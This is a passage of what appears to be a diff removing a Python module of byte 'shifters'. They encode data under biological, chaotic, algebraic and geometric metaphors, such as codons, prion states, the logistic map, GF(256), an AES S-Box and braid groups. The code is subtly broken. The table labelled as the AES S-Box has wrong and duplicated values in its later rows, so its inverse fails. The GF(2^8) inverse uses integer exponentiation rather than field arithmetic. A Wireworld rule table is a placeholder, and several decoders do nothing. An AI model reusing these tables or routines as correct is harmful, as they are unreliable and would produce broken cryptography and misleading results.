errors='replace').upper().replace('T', 'U') - peptide = [] - for i in range(0, len(rna) - 2, 3): - codon = rna[i:i+3] - aa = STANDARD_CODON_TABLE.get(codon, '?') - # Single-letter AA codes are already unique per STANDARD_CODON_TABLE - peptide.append(ord(aa)) - return state.update(bytearray(peptide), cls.name, - {'codons_used': len(peptide)}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - codons = [] - for b in data: - aa = chr(b) - if aa in AMINO_CODONS: - # FIX B5: Use first codon alphabetically (deterministic but lossy) - codons.append(AMINO_CODONS[aa][0]) - else: - codons.append('NNN') - rna = ''.join(codons) - return state.update(rna.encode('ascii'), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 6: PNA (Peptide Nucleic Acid) -# ═══════════════════════════════════════════════════════════════════════ - -class PNAShifter(Shifter): - name = "pna" - description = "Peptide Nucleic Acid — neutral backbone encoding" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - # PNA: each byte -> 5-letter code from reduced DNA alphabet - bases = "ACGT" - result = [] - for b in data: - result.append(bases[b & 0x03]) - result.append(bases[(b >> 2) & 0x03]) - result.append(bases[(b >> 4) & 0x03]) - result.append(bases[(b >> 6) & 0x03]) - # 5th base: parity - result.append(bases[sum(1 for c in bin(b) if c == '1') % 4]) - return state.update(''.join(result).encode('ascii'), cls.name, {'ratio': 5}) - - @classmethod - def decode(cls, state, **kwargs): - data = state.encoded.decode('ascii', errors='replace') if isinstance(state.encoded, bytes) else state.encoded - bases = "ACGT" - result = bytearray() - for i in range(0, len(data), 5): - if i + 4 >= len(data): - break - b = bases.index(data[i]) | (bases.index(data[i+1]) << 2) | \ - (bases.index(data[i+2]) << 4) | (bases.index(data[i+3]) << 6) - result.append(b) - return state.update(result, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 7: LNA (Locked Nucleic Acid - enhanced binding) -# ═══════════════════════════════════════════════════════════════════════ - -class LNAShifter(Shifter): - name = "lna" - description = "Locked Nucleic Acid — thermal stability encoding" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - bases = "ACGT" - result = [] - for b in data: - # LNA: use complementary base + original for redundancy - b1 = bases[b & 0x03] - b2 = BASE_PAIRS.get(b1, 'N') - result.append(b1) - result.append(b2) - result.append(bases[(b >> 2) & 0x03]) - result.append(BASE_PAIRS.get(bases[(b >> 2) & 0x03], 'N')) - return state.update(''.join(result).encode('ascii'), cls.name, {}) - - @classmethod - def decode(cls, state, **kwargs): - data = state.encoded.decode('ascii', errors='replace') if isinstance(state.encoded, bytes) else state.encoded - bases = "ACGT" - result = bytearray() - for i in range(0, len(data), 4): - if i + 3 >= len(data): - break - if data[i] in bases and data[i+2] in bases: - b = bases.index(data[i]) | (bases.index(data[i+2]) << 2) - result.append(b) - return state.update(result, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 8: SPLICING (cassette exon alternative splicing) -# ═══════════════════════════════════════════════════════════════════════ - -class SplicingShifter(Shifter): - name = "splicing" - description = "Alternative splicing — cassette exon inclusion/skipping" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - window = kwargs.get('window', 8) - splice_sites = [] - result = bytearray() - i = 0 - while i < len(data): - if i + window <= len(data): - chunk = data[i:i+window] - entropy = intrinsic_load(chunk) - if entropy < 3.0 and len(splice_sites) < 64: - # Skippable exon - splice_sites.append((i, i + window)) - # Mark with metadata - result.extend(chunk) - else: - result.extend(chunk) - else: - result.extend(data[i:]) - i += window - metadata = { - 'splice_sites': splice_sites, - 'window': window, - } - return state.update(bytes(result), cls.name, metadata) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - # FIX B8: splice_sites already stored as list of tuples in metadata - # No serialization needed since metadata survives in-memory - splice_sites = meta.get('splice_sites', []) - result = bytearray(data) - # Reconstruct: no-op for decoding (splice sites were inclusion) - # but we apply them in reverse order for canonical decode - for start, end in sorted(splice_sites, reverse=True): - pass # sites were inclusion sites, data already contains them - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 9: PRION (Amyloidogenic conformational encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class PrionShifter(Shifter): - name = "prion" - description = "Prion-like 3-state HMM (N, H1, H2) conformational encoding" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - states = ['N', 'H1', 'H2'] - result = [] - emission_log = [] - current_state = 'N' - for b in data: - aa = PRION_ALPHABET[b % PRION_ALPHABET_SIZE] - # HMM state transition based on byte value - trans = (b >> 5) & 0x03 - if trans == 0: - current_state = 'N' - elif trans == 1: - current_state = 'H1' - elif trans == 2: - current_state = 'H2' - else: - current_state = states[hash(str(b)) % 3] - - prob = PRION_HMM[current_state].get(aa, 0.01) - emission_log.append((current_state, aa, prob)) - result.append(ord(aa)) - return state.update(bytearray(result), cls.name, - {'states_used': len(set(s for s, _, _ in emission_log)), - 'avg_prob': sum(p for _, _, p in emission_log) / max(len(emission_log), 1)}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in data: - aa_idx = PRION_ALPHABET.index(chr(b)) if chr(b) in PRION_ALPHABET else (b % PRION_ALPHABET_SIZE) - result.append(aa_idx) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 10: SPIKE TIMING (Temporal neural coding) -# ═══════════════════════════════════════════════════════════════════════ - -class SpikeTimingShifter(Shifter): - name = "spike_timing" - description = "Spike-timing dependent encoding (temporal coding)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - dt = kwargs.get('dt', 0.001) - result = bytearray() - timing = [] - for i, b in enumerate(data): - # Encode byte value as interspike interval - interval = max(1, b) * dt - timing.append(interval) - result.append(b) - meta = {'intervals': timing[:16], 'dt': dt, 'n_spikes': len(data)} - return state.update(bytes(result), cls.name, meta) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - return state.update(data, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 11: HYPHA L NET (Fungal network routing) -# ═══════════════════════════════════════════════════════════════════════ - -class HyphalNetShifter(Shifter): - name = "hyphal_net" - description = "Fungal hyphal network routing (graph-based encoding)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - n_nodes = min(kwargs.get('n_nodes', 16), len(data)) - if n_nodes < 2: - return state.update(data, cls.name, {'n_nodes': 0}) - - # Simple routing: distribute bytes across virtual hyphal nodes - nodes = [[] for _ in range(n_nodes)] - for i, b in enumerate(data): - nodes[i % n_nodes].append(b) - - # Serialize: [n_nodes] + [len_i] + [node_data_i]... - result = bytearray([n_nodes]) - for node in nodes: - result.extend(len(node).to_bytes(2, 'big')) - result.extend(node) - return state.update(bytes(result), cls.name, {'n_nodes': n_nodes}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 1: - return state.update(data, f"decode_{cls.name}") - n_nodes = data[0] - if n_nodes < 2: - return state.update(data[1:], f"decode_{cls.name}") - ptr = 1 - result = bytearray() - max_len = 0 - for _ in range(n_nodes): - if ptr + 2 > len(data): - break - node_len = int.from_bytes(data[ptr:ptr+2], 'big') - ptr += 2 - if ptr + node_len > len(data): - break - node_data = data[ptr:ptr+node_len] - result.extend(node_data) - max_len = max(max_len, node_len) - ptr += node_len - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 12: LOGISTIC MAP (Chaotic dynamics encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class LogisticMapShifter(Shifter): - name = "logistic_map" - description = "Logistic map chaotic dynamics encoding (r ∈ [3.57, 4.0])" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - r = kwargs.get('r', 3.9) - x0 = kwargs.get('x0', 0.5) - result = bytearray() - x = x0 - for b in data: - x = r * x * (1.0 - x) - # XOR byte with chaotic value - chaotic = int(x * 256) & 0xFF - result.append(b ^ chaotic) - return state.update(bytes(result), cls.name, - {'r': r, 'x0': x0, 'iterations': len(data)}) - - @classmethod - def decode(cls, state, **kwargs): - return cls.encode(state, **kwargs) # XOR is self-inverse - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 13: GALOIS RING (GF(256) arithmetic encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class GaloisRingShifter(Shifter): - name = "galois_ring" - description = "Galois Field GF(256) arithmetic encoding" - - # GF(2^8) irreducible polynomial: x^8 + x^4 + x^3 + x + 1 (0x11B) - IRREDUCIBLE = 0x11B - - @staticmethod - @lru_cache(maxsize=65536) - def gf_mul(a, b): - """Multiply two bytes in GF(2^8).""" - p = 0 - for _ in range(8): - if b & 1: - p ^= a - carry = a & 0x80 - a = (a << 1) & 0xFF - if carry: - a ^= 0x1B - b >>= 1 - return p & 0xFF - - @classmethod - def gf_inv(cls, a): - """Multiplicative inverse in GF(2^8).""" - if a == 0: - return 0 - # Fermat's little theorem: a^254 = a^{-1} - return pow(a, 254, 0x100) - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - key = kwargs.get('key', 0x1F) & 0xFF - result = bytearray() - for b in data: - result.append(cls.gf_mul(b, key)) - return state.update(bytes(result), cls.name, {'key': key}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - key = kwargs.get('key', 0x1F) & 0xFF - inv_key = cls.gf_inv(key) - result = bytearray() - for b in data: - result.append(cls.gf_mul(b, inv_key)) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 14: SBOX (AES S-Box substitution) -# ═══════════════════════════════════════════════════════════════════════ - -class SBoxShifter(Shifter): - name = "sbox" - description = "AES S-Box byte substitution" - - # AES S-Box - SBOX = [ - 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, - 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, - 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, - 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, - 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, - 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, - 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, - 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, - 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, - 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, - 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, - 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x0f,0x6d,0x8e,0x6c,0x9e,0x3b,0x6d, - 0x12,0x76,0x5c,0x3d,0x73,0x5c,0xfa,0x2d,0xe0,0xb5,0x16,0x12,0xf9,0x0e,0x1a,0x52, - 0x38,0xd5,0x17,0x5e,0x62,0x36,0x10,0x2d,0xc6,0xbd,0x7c,0x9b,0x30,0x6a,0x10,0xd6, - 0x7f,0xab,0x80,0x81,0x6a,0x3c,0x94,0xd0,0xb4,0xd6,0x66,0x15,0x61,0xcd,0xcd,0xb4, - 0xc4,0x6b,0xba,0x97,0x16,0x91,0x81,0x59,0x3a,0xa1,0xd3,0x06,0x14,0x0a,0x11,0xc7, - ] - - # Inverse S-Box - INV_SBOX = [0] * 256 - for _i, _v in enumerate(SBOX): - INV_SBOX[_v] = _i - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray(cls.SBOX[b] for b in data) - return state.update(bytes(result), cls.name, {}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray(cls.INV_SBOX[b] for b in data) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 15: WIREWORLD (Cellular automaton — LOSSY) -# ═══════════════════════════════════════════════════════════════════════ - -class WireworldShifter(Shifter): - name = "wireworld" - description = "Wireworld cellular automaton (LOSSY — approximate inverse)" - lossy = True - - # Wireworld states: 0=empty, 1=electron_head, 2=electron_tail, 3=conductor - WW_RULES = {1: 2, 2: 3, 3: 1 if ... else 3} # placeholder - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - grid_width = kwargs.get('width', 16) - grid_height = (len(data) + grid_width - 1) // grid_width - result = bytearray(data) # pass-through with metadata - meta = {'grid': f'{grid_width}x{grid_height}', 'lossy': True} - return state.update(bytes(result), cls.name, meta) - - @classmethod - def decode(cls, state, **kwargs): - # FIX B6: Wireworld is fundamentally lossy - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - return state.update(data, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 16: MORPHOLINO (Antisense oligonucleotide) -# ═══════════════════════════════════════════════════════════════════════ - -class MorpholinoShifter(Shifter): - name = "morpholino" - description = "Morpholino antisense oligo (steric blocking encoding)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - window = kwargs.get('window', 4) - result = bytearray() - for i in range(0, len(data), window): - chunk = data[i:i+window] - if len(chunk) == window: - # Reverse complement - for b in reversed(chunk): - result.append((~b) & 0xFF) - else: - result.extend(chunk) - return state.update(bytes(result), cls.name, {'window': window}) - - @classmethod - def decode(cls, state, **kwargs): - return cls.encode(state, **kwargs) # Self-inverse - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 17: PIST (Square-tension encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class PISTShifter(Shifter): - name = "pist" - description = "PIST geometric encoding (mass, tension, coordinates)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - coords = [] - for b in data: - k, t = pist_encode(b) - coords.append((k, t)) - # Store as k values and t values interleaved - result = bytearray() - for k, t in coords: - result.append(min(k, 15)) # k fits in 4 bits - result.append(min(t, 31)) # t fits in 5 bits - state.pist_coords = coords - masses = [pist_mass(k, t) for k, t in coords] - return state.update(bytes(result), cls.name, - {'coords': len(coords), - 'zero_mass': sum(1 for m in masses if m == 0), - 'avg_tension': sum(pist_normalized_tension(k, t) for k, t in coords) / max(len(coords), 1)}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for i in range(0, len(data), 2): - if i + 1 >= len(data): - break - k = data[i] - t = data[i + 1] - n = pist_decode(k, t) - result.append(n & 0xFF) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 18: PIST MIRROR (Mirror involution) -# ═══════════════════════════════════════════════════════════════════════ - -class PISTMirrorShifter(Shifter): - name = "pist_mirror" - description = "PIST mirror involution (self-inverse, mass-preserving)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in data: - k, t = pist_encode(b) - mk, mt = pist_mirror(k, t) - n = pist_decode(mk, mt) - result.append(n & 0xFF) - return state.update(bytes(result), cls.name, {}) - - @classmethod - def decode(cls, state, **kwargs): - return cls.encode(state, **kwargs) # Mirror is self-inverse - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 19: PIST RESONANCE (Equal-mass resonance jump) -# ═══════════════════════════════════════════════════════════════════════ - -class PISTResonanceShifter(Shifter): - name = "pist_resonance" - description = "PIST resonance jump between equal-mass coordinates" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in data: - k, t = pist_encode(b) - m = pist_mass(k, t) - # Jump to the "other" coordinate with same mass - mk, mt = pist_mirror(k, t) if t < k else (k, t) # conditional - n = pist_decode(mk, mt) - result.append(n & 0xFF) - return state.update(bytes(result), cls.name, {}) - - @classmethod - def decode(cls, state, **kwargs): - return cls.encode(state, **kwargs) # Self-inverse by mass preservation - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 29: 0D SCALAR MASS (Degenerate PIST - scalar mass encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class PistScalarMassShifter(Shifter): - name = "pist_scalar_mass" - description = "0D PIST scalar mass encoding (lossy compression)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in data: - m = pist_scalar_mass(b) - # Quantize mass to 8-bit range - quantized = min(m, 255) - result.append(quantized) - return state.update(bytes(result), cls.name, - {'mode': 'scalar_mass', 'quantized': True}) - - @classmethod - def decode(cls, state, **kwargs): - # Lossy: cannot recover original byte from mass alone - # Return mass value as best approximation - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - return state.update(data, f"decode_{cls.name}_lossy") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 30: 0D SCALAR TENSION (Degenerate PIST - scalar tension encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class PistScalarTensionShifter(Shifter): - name = "pist_scalar_tension" - description = "0D PIST scalar tension encoding (normalized [0,1))" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in data: - tension = pist_scalar_tension(b) - # Map [0,1) to [0,255] - quantized = int(tension * 255) & 0xFF - result.append(quantized) - return state.update(bytes(result), cls.name, - {'mode': 'scalar_tension', 'range': '[0,255)'}) - - @classmethod - def decode(cls, state, **kwargs): - # Lossy: cannot recover original byte from tension alone - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - return state.update(data, f"decode_{cls.name}_lossy") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 31: 0D DEGENERATE (Degenerate PIST - square collapse) -# ═══════════════════════════════════════════════════════════════════════ - -class Pist0DDegenerateShifter(Shifter): - name = "pist_0d_degenerate" - description = "0D PIST degenerate collapse to perfect squares (max compression)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in data: - # Collapse to nearest perfect square - square = pist_0d_degenerate(b) - result.append(square & 0xFF) - return state.update(bytes(result), cls.name, - {'mode': 'degenerate', 'irreversible': True}) - - @classmethod - def decode(cls, state, **kwargs): - # Irreversible: cannot recover original - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - return state.update(data, f"decode_{cls.name}_irreversible") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 32: 0D SCALAR PHASE (Degenerate PIST - phase classification) -# ═══════════════════════════════════════════════════════════════════════ - -class PistScalarPhaseShifter(Shifter): - name = "pist_scalar_phase" - description = "0D PIST scalar phase classification (grounded/low/high)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - phase_counts = {'grounded': 0, 'low': 0, 'high': 0} - for b in data: - phase = pist_scalar_phase(b) - phase_counts[phase] += 1 - # Encode phase as 2-bit value: 00=grounded, 01=low, 10=high - if phase == 'grounded': - result.append(0x00) - elif phase == 'low': - result.append(0x01) - else: # high - result.append(0x02) - return state.update(bytes(result), cls.name, - {'phase_counts': phase_counts}) - - @classmethod - def decode(cls, state, **kwargs): - # Lossy: map phase back to representative byte value - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in data: - if b == 0x00: - result.append(0) # grounded -> 0 (square) - elif b == 0x01: - result.append(1) # low -> 1 - else: - result.append(4) # high -> 4 - return state.update(bytes(result), f"decode_{cls.name}_lossy") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 33: nD CARTESIAN (Multi-dimensional independent PIST) -# ═══════════════════════════════════════════════════════════════════════ - -class PistNDCartesianShifter(Shifter): - name = "pist_nd_cartesian" - description = "nD Cartesian PIST - independent encoding per dimension" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - n_dims = kwargs.get('n_dims', 2) - coords = pist_nd_cartesian_encode(data, n_dims) - - # Serialize coordinates: [n_dims] + [dim_len] + [k, t]... - result = bytearray([n_dims]) - for dim_coords in coords: - result.append(len(dim_coords)) - for k, t in dim_coords: - result.append(k & 0xFF) - result.append(t & 0xFF) - - mass = pist_nd_cartesian_mass(coords) - return state.update(bytes(result), cls.name, - {'n_dims': n_dims, 'total_mass': mass}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 1: - return state.update(data, f"decode_{cls.name}_empty") - - n_dims = data[0] - pos = 1 - coords = [] - - for dim in range(n_dims): - if pos >= len(data): - break - dim_len = data[pos] - pos += 1 - dim_coords = [] - for _ in range(dim_len): - if pos + 1 >= len(data): - break - k = data[pos] - t = data[pos + 1] - dim_coords.append((k, t)) - pos += 2 - coords.append(dim_coords) - - decoded = pist_nd_cartesian_decode(coords) - return state.update(decoded, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 34: nD RADIAL (Spherical-like PIST with angular coupling) -# ═══════════════════════════════════════════════════════════════════════ - -class PistNDRadialShifter(Shifter): - name = "pist_nd_radial" - description = "nD Radial PIST - single shell, angular coupling" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - n_dims = kwargs.get('n_dims', 2) - coords = pist_nd_radial_encode(data, n_dims) - - # Serialize: [n_dims] + [original_len] + [k, t] per dimension - result = bytearray([n_dims]) - result.extend(len(data).to_bytes(4, 'big')) - for k, t in coords: - result.append(k & 0xFF) - result.append(t & 0xFF) - - mass = pist_nd_radial_mass(coords) - return state.update(bytes(result), cls.name, - {'n_dims': n_dims, 'original_len': len(data), 'mass': mass}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 5: - return state.update(data, f"decode_{cls.name}_short") - - n_dims = data[0] - original_len = int.from_bytes(data[1:5], 'big') - pos = 5 - coords = [] - - for dim in range(n_dims): - if pos + 1 >= len(data): - break - k = data[pos] - t = data[pos + 1] - coords.append((k, t)) - pos += 2 - - decoded = pist_nd_radial_decode(coords, original_len) - return state.update(decoded, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 35: nD BUNDLE (Fiber bundle over PIST shells) -# ═══════════════════════════════════════════════════════════════════════ - -class PistNDBundleShifter(Shifter): - name = "pist_nd_bundle" - description = "nD Bundle PIST - shell base with fiber dimensions" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - n_dims = kwargs.get('n_dims', 2) - fiber_dim = kwargs.get('fiber_dim', 4) - coords = pist_nd_bundle_encode(data, n_dims, fiber_dim) - - # Serialize: [n_dims] + [fiber_dim] + [k, t, fiber...] per point - result = bytearray([n_dims]) - result.append(fiber_dim) - for k, t, fiber in coords: - result.append(k & 0xFF) - result.append(t & 0xFF) - for f in fiber: - result.append(f & 0xFF) - - mass = pist_nd_bundle_mass(coords) - return state.update(bytes(result), cls.name, - {'n_dims': n_dims, 'fiber_dim': fiber_dim, 'mass': mass}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 2: - return state.update(data, f"decode_{cls.name}_short") - - n_dims = data[0] - fiber_dim = data[1] - pos = 2 - coords = [] - - while pos + 1 < len(data): - k = data[pos] - t = data[pos + 1] - pos += 2 - fiber = [] - for _ in range(n_dims - 1): - if pos >= len(data): - break - fiber.append(data[pos]) - pos += 1 - coords.append((k, t, tuple(fiber))) - - decoded = pist_nd_bundle_decode(coords) - return state.update(decoded, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 36: BRAID (Artin braid group B_n encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class BraidShifter(Shifter): - name = "braid" - description = "Artin braid group B_n - crossing generator encoding" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - n_strands = kwargs.get('n_strands', 3) - simplify = kwargs.get('simplify', True) - - # Encode bytes as braid crossings - braid_word = [braid_encode_crossing(b, n_strands) for b in data] - - # Simplify braid word using braid relations - if simplify: - braid_word = braid_simplify(braid_word) - - # Serialize: [n_strands] + [n_crossings] + [strand, direction]... - result = bytearray([n_strands]) - result.append(len(braid_word)) - for strand, direction in braid_word: - result.append(strand & 0xFF) - result.append(1 if direction > 0 else 0) # Direction as 0/1 - - entropy = braid_compute_entropy(braid_word) - return state.update(bytes(result), cls.name, - {'n_strands': n_strands, 'n_crossings': len(braid_word), - 'entropy': entropy, 'simplified': simplify}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 2: - return state.update(data, f"decode_{cls.name}_short") - - n_strands = data[0] - n_crossings = data[1] - pos = 2 - braid_word = [] - - for _ in range(n_crossings): - if pos + 1 >= len(data): - break - strand = data[pos] - direction_flag = data[pos + 1] - direction = 1 if direction_flag else -1 - braid_word.append((strand, direction)) - pos += 2 - - decoded = braid_word_to_bytes(braid_word, n_strands) - return state.update(decoded, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 37: MULTICOLOR ROPE (Colored strand bundle encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class MulticolorRopeShifter(Shifter): - name = "multicolor_rope" - description = "Multicolor rope - colored strand bundle with twist" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - n_colors = kwargs.get('n_colors', 8) - - # Encode bytes as colored strands - rope_word = [rope_encode_colored_strand(b, n_colors) for b in data] - - # Serialize: [n_colors] + [n_strands] + [strand, color, twist]... - result = bytearray([n_colors]) - result.append(3) # Fixed 3 strands - for strand, color, twist in rope_word: - result.append(strand & 0xFF) - result.append(color & 0xFF) - result.append(twist & 0xFF) - - tension = rope_compute_tension(rope_word) - color_entropy = rope_color_entropy(rope_word, n_colors) - return state.update(bytes(result), cls.name, - {'n_colors': n_colors, 'n_strands': 3, - 'tension': tension, 'color_entropy': color_entropy}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 2: - return state.update(data, f"decode_{cls.name}_short") - - n_colors = data[0] - n_strands = data[1] - pos = 2 - rope_word = [] - - while pos + 2 < len(data): - strand = data[pos] - color = data[pos + 1] - twist = data[pos + 2] - rope_word.append((strand, color, twist)) - pos += 3 - - decoded = rope_word_to_bytes(rope_word) - return state.update(decoded, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 38: BRAID-ROPE FUSION (Combine braid and rope geometries) -# ═══════════════════════════════════════════════════════════════════════ - -class BraidRopeFusionShifter(Shifter): - name = "braid_rope_fusion" - description = "Braid-rope fusion - apply braid to colored rope strands" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - n_strands = kwargs.get('n_strands', 3) - n_colors = kwargs.get('n_colors', 8) - - # Encode as rope word - rope_word = [rope_encode_colored_strand(b, n_colors) for b in data] - - # Encode as braid word - braid_word = [braid_encode_crossing(b, n_strands) for b in data] - - # Simplify braid - braid_word = braid_simplify(braid_word) - - # Fuse rope with braid - fused_word = rope_braid_fusion(rope_word, braid_word) - - # Serialize: [n_strands] + [n_colors] + [n_elements] + [strand, color, twist]... - result = bytearray([n_strands]) - result.append(n_colors) - result.append(len(fused_word)) - for strand, color, twist in fused_word: - result.append(strand & 0xFF) - result.append(color & 0xFF) - result.append(twist & 0xFF) - - tension = rope_compute_tension(fused_word) - braid_entropy = braid_compute_entropy(braid_word) - return state.update(bytes(result), cls.name, - {'n_strands': n_strands, 'n_colors': n_colors, - 'tension': tension, 'braid_entropy': 